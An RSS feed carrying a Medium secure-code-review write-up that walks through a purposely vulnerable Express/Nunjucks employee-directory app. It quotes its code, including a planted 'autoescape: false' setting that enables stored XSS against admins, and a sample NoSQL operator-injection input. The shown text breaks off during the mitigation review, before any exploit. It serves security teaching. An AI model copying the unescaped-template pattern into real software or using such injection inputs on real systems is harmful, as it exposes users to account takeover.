<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[AppSec Untangled - Medium]]></title>
        <description><![CDATA[General thoughts around Applications Security, Secure coding, DevSecOps, and other related topics - Medium]]></description>
        <link>https://medium.com/appsec-untangled?source=rss----b758e7bb6f4f---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>AppSec Untangled - Medium</title>
            <link>https://medium.com/appsec-untangled?source=rss----b758e7bb6f4f---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 05 Nov 2026 04:50:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/appsec-untangled" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[The Secure Code Review Challenge — Solution #8: Employee Directory (One Setting Away from Admin…]]></title>
            <link>https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-8-employee-directory-one-setting-away-from-admin-4190fd742a8d?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/4190fd742a8d</guid>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 22:38:28 GMT</pubDate>
            <atom:updated>2026-10-31T22:38:28.376Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Secure Code Review Challenge — Solution #8: Employee Directory (One Setting Away from Admin Takeover)</h3><p><strong>Employee Directory</strong> does almost everything right. Invitation codes are random, hashed and single-use. JWTs have a pinned algorithm. Every admin route checks the role, and the role is re-read from the database on every request. Salaries are masked, profile updates go through allowlists, forms carry CSRF tokens and NoSQL operators are stripped from every request.</p><p>It still lets any employee run code in the admin’s browser. All it takes is a &lt;script&gt; tag in their profile <strong>Name</strong> and one line in the template config: autoescape: false.</p><p>This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit, and the fix. Every code snippet you need is included, so you don’t have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.</p><p>🎥 <strong>Prefer video?</strong> The full walkthrough is on YouTube:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FpuGX2iZNln0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DpuGX2iZNln0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FpuGX2iZNln0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3f645da4f54fdf5db04f2e960134b8e6/href">https://medium.com/media/3f645da4f54fdf5db04f2e960134b8e6/href</a></iframe><h3>What is the Secure Code Review Challenge?</h3><p>It’s a free, biweekly series. Each challenge is a <strong>complete, realistic application</strong> with its own database, backend and UI, and <strong>one vulnerability planted on purpose</strong>, based on a real-world CVE or writeup. You review it the way you’d review a real codebase, then compare your reasoning with the published solution.</p><p>Every solution follows the same 7-step methodology:</p><ol><li>🗺️ <strong>Understand the application:</strong> architecture and main user stories</li><li>🚪 <strong>Identify entry points:</strong> where user input comes in</li><li>🎯 <strong>Identify dangerous sinks:</strong> where input could change behavior (queries, file paths, HTML, …)</li><li>🧩 <strong>Build a threat model:</strong> business-logic risks (authN/authZ) and source-to-sink risks (injection)</li><li>🔍 <strong>Review mitigations:</strong> which threats are actually closed, and which aren’t</li><li>🧪 <strong>Exploit:</strong> prove the unmitigated one is real</li><li>🛠️ <strong>Fix:</strong> a primary fix plus defense-in-depth</li></ol><p>📌 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge</a><br> 📌 Challenge #8 source: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/008-employee-directory">https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/008-employee-directory</a></p><blockquote><em>⚠️ </em><strong><em>Spoiler warning:</em></strong><em> if you want to try Employee Directory yourself first, stop here and come back later.</em></blockquote><h3>1. 🗺️ Understanding the application</h3><p>Employee Directory is an internal company phonebook. Employees look each other up, and admins manage the records.</p><ul><li><strong>Backend:</strong> Express.js (Node)</li><li><strong>Frontend:</strong> server-rendered HTML pages, built with the <strong>Nunjucks</strong> template engine</li><li><strong>Database:</strong> MongoDB, through Mongoose</li><li><strong>Auth:</strong> a JWT, returned as a bearer token by the API and kept in an httpOnly cookie by the web UI</li><li><strong>Roles:</strong> employee and admin</li></ul><p>The README sets out the rules the whole design protects:</p><blockquote>“Employees browse everyone’s public fields, see salary only on their own record, and can edit the public fields of their own record — never salary. Admins see and edit every field of every record (including salary), delete records, invite new hires, and promote other users to admin.”j</blockquote><p>So there are two things worth stealing: the <strong>salary</strong> field, and the <strong>admin role</strong> that unlocks it.</p><p>A good way to understand a codebase is to read it as a set of stories. We’ll start with <strong>what happens when the app starts</strong>, then follow the main use cases: <strong>an admin invites a new hire, the new hire registers, they edit their profile, and everyone browses the directory.</strong></p><h3>🚀 Story 1: what happens when the app starts</h3><p>docker-compose.yml starts two containers: a stock mongo:7 and the app, which gets its secrets from .env:</p><pre>app:<br>    build: .<br>    container_name: directory_app<br>    ports:<br>      - &quot;3000:3000&quot;<br>    environment:<br>      MONGODB_URI: mongodb://mongo:27017/employee_directory<br>    env_file:<br>      - .env</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/docker-compose.yml#L17-L30">docker-compose.yml#L17-L30</a></p><p>The Dockerfile installs production dependencies and runs node app.js as an unprivileged user. In app.js, the server refuses to start without a JWT secret:</p><pre>if (!process.env.JWT_SECRET) {<br>  console.error(&#39;JWT_SECRET is required&#39;);<br>  process.exit(1);<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L20-L23">app.js#L20-L23</a></p><p>Next it configures the template engine. Every page you see in the browser is a Nunjucks template in views/, and the engine fills in values like {{ emp.name }}. <strong>Read this config carefully. It matters later:</strong></p><pre>nunjucks.configure(viewsPath, {<br>  autoescape: false,<br>  express: app,<br>  noCache: process.env.NODE_ENV !== &#39;production&#39;<br>});</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L56-L60">app.js#L56-L60</a></p><p>Then it registers the global middleware. Two of them are security controls we’ll come back to: mongoSanitize and a CSRF check.</p><pre>app.use(express.json());<br>app.use(express.urlencoded({ extended: true }));<br>app.use(cookieParser());<br>app.use(mongoSanitize());     // strips keys containing $ or . → blocks NoSQL operator injection<br><br>app.use(optionalAuth);        // sets req.user if a valid token is present<br>...<br>app.use(csrfMiddleware);      // csurf on every non-exempt state-changing request</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L63-L79">app.js#L63-L79</a></p><p>Finally it mounts four routers: the server-rendered pages at /, plus the auth, employees and admin JSON APIs:</p><pre>app.use(&#39;/&#39;, pagesRoutes);<br>app.use(&#39;/api/auth&#39;, authRoutes);<br>app.use(&#39;/api/employees&#39;, employeesRoutes);<br>app.use(&#39;/api/admin&#39;, adminRoutes);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L85-L88">app.js#L85-L88</a></p><p>On first boot, with an empty database, the app creates a <strong>bootstrap admin</strong> with a random password and prints it to the logs:</p><pre>const password = crypto.randomBytes(12).toString(&#39;base64url&#39;);<br>const passwordHash = await bcrypt.hash(password, 10);<br>const user = await store.createUser(&#39;admin@localhost&#39;, passwordHash, &#39;admin&#39;, null);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/bootstrap.js#L9-L11">src/bootstrap.js#L9-L11</a></p><h3>🔄 Story 2: the admin invites a new hire</h3><p>The admin fills in an email on /admin and clicks <strong>Create invitation</strong>. The API version of that route sits behind two middlewares for the whole router:</p><pre>router.use(requireAuth, requireAdmin);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/admin.js#L11">src/routes/admin.js#L11</a></p><p>The store voids any older codes for that email, generates 16 random bytes and <strong>stores only their bcrypt hash</strong>. The plaintext is returned once and never saved:</p><pre>async createInvitation(email) {<br>  const normalized = email.toLowerCase().trim();<br>  await Invitation.updateMany(<br>    { email: normalized, used: false },<br>    { $set: { used: true } }<br>  );<br>  const plaintext = crypto.randomBytes(16).toString(&#39;hex&#39;);<br>  const codeHash = await bcrypt.hash(plaintext, 10);<br>  const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);<br>  await Invitation.create({ email: normalized, codeHash, expiresAt, used: false });<br>  return { email: normalized, invitationCode: plaintext, expiresAt };<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L224-L240">src/store/directoryStore.js#L224-L240</a></p><h3>🔄 Story 3: the new hire registers and logs in</h3><p>POST /api/auth/register takes email, password and invitationCode. It rejects duplicate emails, checks and consumes the invitation, then creates the user with a role that is <strong>hard-coded to </strong><strong>employee</strong>:</p><pre>const okInvite = await db.validateAndConsumeInvitation(email, invitationCode);<br>if (!okInvite) { ... return res.status(400).json({ error: &#39;Invalid or expired invitation&#39; }); }<br><br>const passwordHash = await bcrypt.hash(password, 10);<br><br>const user = await db.createUser(email, passwordHash, &#39;employee&#39;, null);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/auth.js#L66-L76">src/routes/auth.js#L66-L76</a></p><p>The invitation check treats the code like a password. It finds unused, unexpired invitations for that email, compares with bcrypt, and marks the match as used:</p><pre>const invitations = await Invitation.find({<br>  email: normalized,<br>  used: false,<br>  expiresAt: { $gt: new Date() }<br>}).sort({ expiresAt: -1 });<br><br>for (const inv of invitations) {<br>  const match = await bcrypt.compare(plaintextCode, inv.codeHash);<br>  if (match) {<br>    inv.used = true;<br>    await inv.save();<br>    return true;<br>  }<br>}<br>return false;</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L252-L269">src/store/directoryStore.js#L252-L269</a></p><p>Login compares the bcrypt hash and signs an HS256 JWT. The web form also stores it in an httpOnly, SameSite=Lax cookie, so JavaScript on the page can&#39;t read it:</p><pre>const cookieOptions = {<br>  httpOnly: true,<br>  maxAge: 24 * 60 * 60 * 1000,<br>  path: &#39;/&#39;,<br>  sameSite: &#39;lax&#39;<br>};</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/auth.js#L21-L26">src/routes/auth.js#L21-L26</a></p><p>On every later request, requireAuth verifies the token with the algorithm pinned, then <strong>reloads the user from the database</strong>. So req.user.role is always the current role in MongoDB, not whatever the token says:</p><pre>const decoded = jwt.verify(token, secret, { algorithms: [&#39;HS256&#39;] });<br>const user = await db.findUserById(decoded.userId);<br>if (!user) {<br>  return res.status(401).json({ error: &#39;User not found&#39; });<br>}<br><br>req.user = {<br>  id: user.id,<br>  email: user.email,<br>  role: user.role,<br>  employeeId: user.employeeId<br>};</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/middleware/auth.js#L36-L47">src/middleware/auth.js#L36-L47</a></p><h3>🔄 Story 4: an employee updates their own profile</h3><p>The <strong>My profile</strong> form posts to POST /profile (the API equivalent is PATCH /api/employees/me). The handler finds <em>the caller&#39;s</em> record from req.user.id, never from an ID in the request, and copies only an allowlist of public fields:</p><pre>const emp = await db.findEmployeeByUserId(req.user.id);<br>...<br>const allowed = [&#39;name&#39;, &#39;title&#39;, &#39;manager&#39;, &#39;deskNumber&#39;, &#39;location&#39;, &#39;phone&#39;];<br>const patch = {};<br>for (const key of allowed) {<br>  if (Object.prototype.hasOwnProperty.call(req.body, key)) {<br>    patch[key] = req.body[key];<br>  }<br>}<br>await db.updateEmployeeById(emp.id, patch);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L64-L75">src/routes/pages.js#L64-L75</a></p><p>The allowlist controls <strong>which</strong> fields you can write. Nothing checks <strong>what</strong> you write into them: no length limit, no character rules. Whatever you type into Name is saved as-is.</p><h3>🔄 Story 5: everyone browses the directory</h3><p>GET / asks the store for the directory, filtered for the viewer. Admins and the record&#39;s owner get the full row. Everyone else gets a masked copy without salary or email:</p><pre>async getDirectoryForViewer(viewerUserId, viewerRole) {<br>  const employees = await this.listEmployees();<br>  const viewerIdStr = viewerUserId ? String(viewerUserId) : null;<br>  return employees.map((emp) =&gt; {<br>    if (viewerRole === &#39;admin&#39;) {<br>      return { ...emp };<br>    }<br>    if (emp.userId &amp;&amp; emp.userId === viewerIdStr) {<br>      return { ...emp };<br>    }<br>    return this.maskEmployee(emp);<br>  });<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L210-L222">src/store/directoryStore.js#L210-L222</a></p><p>The page then prints every field into a table cell:</p><pre>{% for emp in employees %}<br>&lt;tr&gt;<br>  &lt;td&gt;{{ emp.name }}&lt;/td&gt;<br>  &lt;td&gt;{{ emp.title }}&lt;/td&gt;<br>  &lt;td&gt;{{ emp.manager }}&lt;/td&gt;<br>  &lt;td&gt;{{ emp.deskNumber }}&lt;/td&gt;<br>  &lt;td&gt;{{ emp.location }}&lt;/td&gt;<br>  &lt;td&gt;{{ emp.phone }}&lt;/td&gt;</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/views/directory.html#L19-L26">views/directory.html#L19-L26</a></p><p>The admin page (GET /admin) goes further. It lists <strong>every</strong> employee as an editable form, with each stored value inside an &lt;input value=&quot;...&quot;&gt;, next to the <strong>Make admin</strong> buttons:</p><pre>&lt;label&gt;Name &lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{{ emp.name }}&quot;&gt;&lt;/label&gt;<br>...<br>&lt;form method=&quot;post&quot; action=&quot;/admin/promote/{{ u.id }}&quot; style=&quot;display:inline;&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;_csrf&quot; value=&quot;{{ csrfToken() }}&quot;&gt;<br>  &lt;button type=&quot;submit&quot;&gt;Make admin&lt;/button&gt;<br>&lt;/form&gt;</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/views/admin.html#L45">views/admin.html#L45</a> · <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/views/admin.html#L70-L73">views/admin.html#L70-L73</a></p><h3>🧠 The key observation from step 1</h3><p>Put stories 4 and 5 side by side:</p><pre>any employee ──writes──▶ name, title, location, …  ──stored as typed──▶ MongoDB<br>                                                                          │<br>admin&#39;s browser ◀──renders {{ emp.name }}── directory.html / admin.html ◀─┘<br>                    (the page that holds the &quot;Make admin&quot; buttons)</pre><p>Text written by the <strong>least</strong> privileged user is rendered in the page of the <strong>most</strong> privileged user. That’s a trust boundary. Everything depends on the template engine turning that text into harmless characters on the way out.</p><h3>2. 🚪 Entry points</h3><ul><li>POST /api/auth/register: no auth (needs a valid invitation), takes email, password, invitationCode</li><li>POST /api/auth/login: no auth, takes email, password</li><li>POST /api/auth/logout: no auth</li><li>GET /api/employees: any user, no input</li><li>PATCH /api/employees/me: any user, takes name, title, manager, deskNumber, location, phone</li><li>POST /api/admin/invitations: admin, takes email</li><li>GET /api/admin/invitations, GET /api/admin/employees, GET /api/admin/users: admin, no input</li><li>PATCH /api/admin/employees/:id: admin, takes :id and the whole body</li><li>DELETE /api/admin/employees/:id: admin, takes :id</li><li>PATCH /api/admin/users/:id: admin, takes :id, role</li><li>GET /login, GET /register: no auth, take ?error=</li><li>GET /: any user, renders stored data</li><li>GET /profile, POST /profile: any user (+ CSRF on the POST), the public fields</li><li>GET /admin: admin, renders stored data</li><li>POST /admin/employee/:id, POST /admin/promote/:id, POST /admin/invite: admin + CSRF, :id and form fields</li><li>GET /api/csrf-token, GET /health: no auth</li></ul><h3>3. 🎯 Dangerous sinks</h3><ul><li><strong>S1: HTML rendering with Nunjucks.</strong> The templates print stored employee fields and the ?error= query parameter. If user input can become markup, you get <strong>XSS</strong> (CWE-79).</li><li><strong>S2: MongoDB queries and updates built from input</strong> → <strong>NoSQL operator injection</strong>. It comes in two flavors:</li></ul><p><strong>S2a, query filters:</strong> email at login and register, invitationCode, :id. An operator like {&quot;$ne&quot;: null} would change <em>which documents match</em>.</p><p><strong>S2b, the update document:</strong> updateEmployeeById(id, patch). An operator like $unset or $rename would change <em>what the update does</em>.</p><ul><li><strong>S3: redirects.</strong> res.redirect(...) is used all over auth.js and pages.js → <strong>open redirect</strong>.</li></ul><h3>4 &amp; 5. 🧩 Threat model &amp; 🔍 mitigation review</h3><h3>🔓 Business logic</h3><p><strong>Authentication ✅.</strong> The app won’t start without JWT_SECRET. jwt.verify pins HS256, which blocks alg: none and algorithm confusion (<a href="https://github.com/auth0/node-jsonwebtoken#jwtverifytoken-secretorpublickey-options-callback">jsonwebtoken docs</a>). Tokens expire after 24h, and the user is reloaded from the database on every request. Every admin API route has requireAuth, and every page that needs a user has requireUser.</p><pre>const decoded = jwt.verify(token, secret, { algorithms: [&#39;HS256&#39;] });<br>const user = await db.findUserById(decoded.userId);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/middleware/auth.js#L36-L37">src/middleware/auth.js#L36-L37</a> · <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L20-L23">secret required, app.js#L20-L23</a> · <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/auth.js#L12-L19">24h expiry, auth.js#L12-L19</a></p><p>requireUser, used by the web pages, only lets a request through once optionalAuth has verified the token and set req.user:</p><pre>function requireUser(req, res, next) {<br>  if (!req.user) {<br>    return res.redirect(&#39;/login&#39;);<br>  }<br>  next();<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L10-L15">src/routes/pages.js#L10-L15</a></p><p><strong>Invitation-only registration ✅.</strong> Can someone register without an invitation, reuse one, or use someone else’s? No. Codes are 128-bit random and only their bcrypt hash is stored, so even a database leak doesn’t reveal a usable code. Each code is tied to one email and expires after 7 days, and creating a new one voids the old ones:</p><pre>await Invitation.updateMany(<br>  { email: normalized, used: false },<br>  { $set: { used: true } }<br>);<br>const plaintext = crypto.randomBytes(16).toString(&#39;hex&#39;);<br>const codeHash = await bcrypt.hash(plaintext, 10);<br>const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L226-L232">src/store/directoryStore.js#L226-L232</a></p><p>At registration, only an unused, unexpired code for <strong>that email</strong> is accepted, and the match is marked used so it works once:</p><pre>const invitations = await Invitation.find({<br>  email: normalized,<br>  used: false,<br>  expiresAt: { $gt: new Date() }<br>}).sort({ expiresAt: -1 });<br>...<br>    inv.used = true;<br>    await inv.save();</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L254-L264">src/store/directoryStore.js#L254-L264</a></p><p>And the new account’s role is hard-coded, so you can’t register yourself as an admin. A second registration with the same email is blocked by the pre-checks and by the unique index on email:</p><pre>const user = await db.createUser(email, passwordHash, &#39;employee&#39;, null);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/auth.js#L76">src/routes/auth.js#L76</a> · <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/auth.js#L50-L64">duplicate checks, auth.js#L50-L64</a> · <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L6">unique index, directoryStore.js#L6</a></p><p><strong>Vertical privilege escalation (employee → admin) ✅.</strong> The admin API router applies both middlewares to every route, and requireAdmin checks the role that requireAuth just loaded from the database:</p><pre>router.use(requireAuth, requireAdmin);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/admin.js#L11">src/routes/admin.js#L11</a></p><pre>const requireAdmin = async (req, res, next) =&gt; {<br>  if (!req.user || req.user.role !== &#39;admin&#39;) {<br>    return res.status(403).json({ error: &#39;Admin access required&#39; });<br>  }<br>  next();<br>};</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/middleware/auth.js#L57-L62">src/middleware/auth.js#L57-L62</a></p><p>The /admin* pages don&#39;t use that router, so each handler checks the role itself (<a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L85">pages.js#L85</a>, <a href="#L106">#L106</a>, <a href="#L128">#L128</a>, <a href="#L140">#L140</a>):</p><pre>router.post(&#39;/admin/promote/:id&#39;, requireUser, async (req, res, next) =&gt; {<br>  try {<br>    if (req.user.role !== &#39;admin&#39;) {<br>      return res.status(403).send(&#39;Forbidden&#39;);<br>    }<br>    await db.updateUserRole(req.params.id, &#39;admin&#39;);<br>    res.redirect(&#39;/admin&#39;);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L126-L132">src/routes/pages.js#L126-L132</a></p><p>Keep that last detail in mind: the check is “is <strong>this request</strong> from an admin?”, and it is.</p><p><strong>Horizontal access to salaries ✅.</strong> getDirectoryForViewer (<a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L210-L222">src/store/directoryStore.js#L210-L222</a>, shown in story 5) returns maskEmployee for other people&#39;s rows. It builds a new object from the public fields only, so salary and email can&#39;t leak by accident:</p><pre>maskEmployee(emp) {<br>  return {<br>    id: emp.id,<br>    name: emp.name,<br>    title: emp.title,<br>    manager: emp.manager,<br>    deskNumber: emp.deskNumber,<br>    location: emp.location,<br>    phone: emp.phone<br>  };<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L198-L208">src/store/directoryStore.js#L198-L208</a></p><p>The self-edit routes look up the record from req.user.id (<a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L64">src/routes/pages.js#L64</a>, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/employees.js#L30">src/routes/employees.js#L30</a>), never from an ID in the request, and the API rejects salary outright:</p><pre>if (Object.prototype.hasOwnProperty.call(req.body, &#39;salary&#39;)) {<br>  return res.status(403).json({ error: &#39;Cannot update salary through this endpoint&#39; });<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/employees.js#L35-L37">src/routes/employees.js#L35-L37</a></p><p><strong>CSRF ✅.</strong> <a href="https://github.com/expressjs/csurf">csurf</a> checks a _csrf token on every state-changing request that isn&#39;t exempt. Requests with an Authorization: Bearer header skip it, which is safe: a page on another site can&#39;t make the browser add that header. Removing the _csrf field from an invite request in Burp Repeater gets Invalid or missing CSRF token. The cookie is also SameSite=Lax.</p><pre>function csrfMiddleware(req, res, next) {<br>  const auth = req.headers.authorization;<br>  const hasBearer = auth &amp;&amp; String(auth).startsWith(&#39;Bearer &#39;);<br>  if (hasBearer &amp;&amp; ![&#39;GET&#39;, &#39;HEAD&#39;, &#39;OPTIONS&#39;].includes(req.method)) {<br>    return next();<br>  }<br>  if (req.method === &#39;POST&#39; &amp;&amp; CSRF_EXEMPT_AUTH_POST.has(req.path)) {<br>    return next();<br>  }<br>  return csrfProtection(req, res, next);<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L36-L46">app.js#L36-L46</a></p><p>One caveat for later: a CSRF token only stops requests from <strong>another origin</strong>. A script running <strong>on this origin</strong> can read the token like any form on the page does.</p><p><strong>Mass assignment ✅.</strong> Can an employee write fields they shouldn’t, like salary, email or userId? No. There are two allowlists. The employee routes copy only the six public fields (<a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/pages.js#L68-L74">src/routes/pages.js#L68-L74</a>, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/employees.js#L39-L45">src/routes/employees.js#L39-L45</a>, shown in story 4). The store then copies only its own fixed list of keys, so unknown fields like role or _id never reach MongoDB:</p><pre>const allowed = [<br>  &#39;name&#39;, &#39;title&#39;, &#39;manager&#39;, &#39;deskNumber&#39;, &#39;location&#39;, &#39;phone&#39;,<br>  &#39;salary&#39;, &#39;userId&#39;, &#39;email&#39;<br>];</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L160-L170">src/store/directoryStore.js#L160-L170</a></p><p>salary, userId and email are on the store&#39;s list, but only the admin API passes the raw body to it, and that route sits behind requireAdmin:</p><pre>router.patch(&#39;/employees/:id&#39;, async (req, res) =&gt; {<br>  try {<br>    const updated = await db.updateEmployeeById(req.params.id, req.body);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/admin.js#L47-L49">src/routes/admin.js#L47-L49</a></p><p>This matches the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">OWASP Mass Assignment cheat sheet</a>’s advice to allowlist the bindable fields.</p><h3>💉 Source-to-sink</h3><p><strong>S2a, NoSQL injection in filters ✅.</strong> The classic attack sends an object instead of a string, for example {&quot;email&quot;: {&quot;$ne&quot;: null}}. <a href="https://github.com/fiznool/express-mongo-sanitize#what-is-this-module-for">express-mongo-sanitize</a> strips $-prefixed and dotted keys from the body, query and params before any handler runs:</p><pre>app.use(mongoSanitize());</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/app.js#L66">app.js#L66</a></p><p>On top of that, findUserByEmail calls email.toLowerCase(), which throws on an object, and findUserById goes through Mongoose, which <a href="https://mongoosejs.com/docs/tutorials/query_casting.html">casts the ID to an </a><a href="https://mongoosejs.com/docs/tutorials/query_casting.html">ObjectId</a> and rejects anything else:</p><pre>async findUserByEmail(email) {<br>  const doc = await User.findOne({ email: email.toLowerCase().trim() });<br>  return toUserDto(doc);<br>}<br><br>async findUserById(id) {<br>  const doc = await User.findById(id);<br>  return toUserDto(doc);<br>}</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L86-L94">src/store/directoryStore.js#L86-L94</a></p><p><strong>S2b, NoSQL injection in updates ✅.</strong> updateEmployeeById builds a brand-new update object from a fixed list of keys, so a top-level $unset or $rename is never copied in, and mongo-sanitize strips nested $ keys too:</p><pre>const update = {};<br>for (const key of allowed) {<br>  if (Object.prototype.hasOwnProperty.call(patch, key)) {<br>    ...<br>    update[key] = patch[key];<br>  }<br>}<br>const doc = await Employee.findByIdAndUpdate(id, update, { new: true, runValidators: true });</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/store/directoryStore.js#L171-L186">src/store/directoryStore.js#L171-L186</a></p><p><strong>S3, open redirect ✅.</strong> Every res.redirect target is a hard-coded relative path like /login or /profile?saved=1. User data only goes into the query string, and only after encodeURIComponent, so it can&#39;t change where the browser goes:</p><pre>return res.redirect(&#39;/register?error=&#39; + encodeURIComponent(&#39;All fields are required&#39;));<br>...<br>res.redirect(&#39;/profile?saved=1&#39;);</pre><p><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/008-employee-directory/src/routes/auth.js#L45">src/routes/auth.js#L45</a> · <a 